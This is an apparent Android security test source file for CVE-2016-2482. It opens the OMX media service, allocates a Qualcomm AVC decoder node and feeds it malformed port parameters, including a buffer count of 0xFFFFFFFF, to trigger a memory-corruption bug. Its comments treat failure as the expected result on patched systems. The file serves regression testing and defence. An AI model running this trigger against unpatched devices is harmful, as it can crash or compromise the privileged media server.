1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define LOG_TAG "CVE-2016-2482"
18
19 #include <OMX_Component.h>
20 #include <OMX_Types.h>
21 #include <binder/IServiceManager.h>
22 #include <binder/MemoryDealer.h>
23 #include <media/IMediaPlayerClient.h>
24 #include <media/IMediaPlayerService.h>
25 #include <media/IMediaRecorder.h>
26 #include <media/IOMX.h>
27 #include <media/OMXBuffer.h>
28 #include <media/stagefright/OMXClient.h>
29 #include <sys/stat.h>
30 #include <sys/time.h>
31 #include <utils/StrongPointer.h>
32
33 #define OMX_DirInput 0
34 #define OMX_CORE_INPUT_PORT_INDEX 0
35
36 using namespace android;
37
38 struct DummyOMXObserver : public BnOMXObserver {
39 public:
DummyOMXObserverDummyOMXObserver40 DummyOMXObserver() {}
41
onMessagesDummyOMXObserver42 virtual void onMessages(const std::list<omx_message> &messages __unused) {}
43
44 protected:
~DummyOMXObserverDummyOMXObserver45 virtual ~DummyOMXObserver() {}
46 };
47
48 // decoder
fuzzIOMXSetParameterChangeCount()49 bool fuzzIOMXSetParameterChangeCount() {
50 const char *name = "OMX.qcom.video.decoder.avc";
51 sp<IMemory> memory;
52 sp<IOMXNode> node = 0;
53 sp<IOMX> mOmx;
54 IOMX::buffer_id bufferId = 0;
55 int outMemSize = 1024;
56 int bufferCnt = 4;
57 int memSize = 49 * outMemSize * bufferCnt;
58
59 OMXClient client;
60 if (client.connect() != OK) {
61 ALOGE("OMXClient connect == NULL");
62 return false;
63 }
64
65 mOmx = client.interface();
66 if (mOmx == NULL) {
67 ALOGE("OMXClient interface mOmx == NULL");
68 client.disconnect();
69 return false;
70 }
71
72 sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
73
74 ALOGE("-----------decode------------");
75 status_t err = mOmx->allocateNode(name, observerDec, &node);
76 if (err != OK) {
77 ALOGE("%s node allocation fails", name);
78 client.disconnect();
79 return false;
80 }
81
82 sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
83
84 memory = dealerIn->allocate(memSize);
85 if (memory.get() == nullptr) {
86 ALOGE("memory allocation failed , err: %d", err);
87 node->freeNode();
88 client.disconnect();
89 return false;
90 }
91
92 OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
93 sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
94
95 if (params == NULL) {
96 ALOGE("memory allocation failed , err: %d", err);
97 node->freeNode();
98 client.disconnect();
99 return false;
100 }
101 memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
102
103 params->eDir = (OMX_DIRTYPE)OMX_DirInput;
104
105 params->nBufferCountActual = 1024 * 1024 / 16;
106 params->nBufferSize = 0x31000;
107 params->format.video.nFrameHeight = 0;
108
109 /*
110 * Exit from here if setParameter fails.
111 * This is the expected behavior in Android N
112 */
113 err = node->setParameter(OMX_IndexParamPortDefinition, params,
114 sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
115 ALOGI("setParameter, err: %d", err);
116 if (err != OK) {
117 node->freeNode();
118 free(params);
119 client.disconnect();
120 return false;
121 }
122
123 /*
124 * Exit from here if useBuffer fails.
125 * This is the expected behavior in Android N
126 */
127 err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
128 ALOGE("useBuffer, err: %d", err);
129 if (err != OK) {
130 node->freeNode();
131 free(params);
132 client.disconnect();
133 return false;
134 }
135
136 params->nBufferCountActual = 0xFFFFFFFF;
137
138 err = node->setParameter(OMX_IndexParamPortDefinition, params,
139 sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
140 ALOGE("setParameter, change actualcount, err: %d", err);
141
142 err = node->freeNode();
143 free(params);
144 client.disconnect();
145 ALOGI("freeNode, err: %d", err);
146 return true;
147 }
148
main()149 int main() {
150 return (int)(!fuzzIOMXSetParameterChangeCount());
151 }
152